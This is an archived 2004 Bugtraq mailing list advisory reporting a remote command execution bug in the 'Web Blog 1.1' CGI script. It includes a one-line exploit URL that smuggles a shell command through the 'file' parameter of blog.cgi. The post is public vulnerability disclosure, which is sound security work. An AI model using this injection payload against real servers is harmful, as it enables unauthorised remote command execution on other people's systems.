Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

Web Blog 1.1 Remote Execute Commands Bug
From: ActualMInd <actualmind () liberdadeaffix org>
Date: Thu, 29 Jan 2004 23:41:42 +0300

Product:
Web Blog 1.1 Remote Execute Commands Bug

Affected Versions:
1.1.5

Bug:
Command Remote Execution

Credits:
n3rd - Lit Security Solutions (LiSS)
#Affix in irc.brasnet.org

Vendor:
http://leifwright.com

Exploiting:
http://address/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command|


  By Date           By Thread  

Current thread:
  • Web Blog 1.1 Remote Execute Commands Bug ActualMInd (Feb 02)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]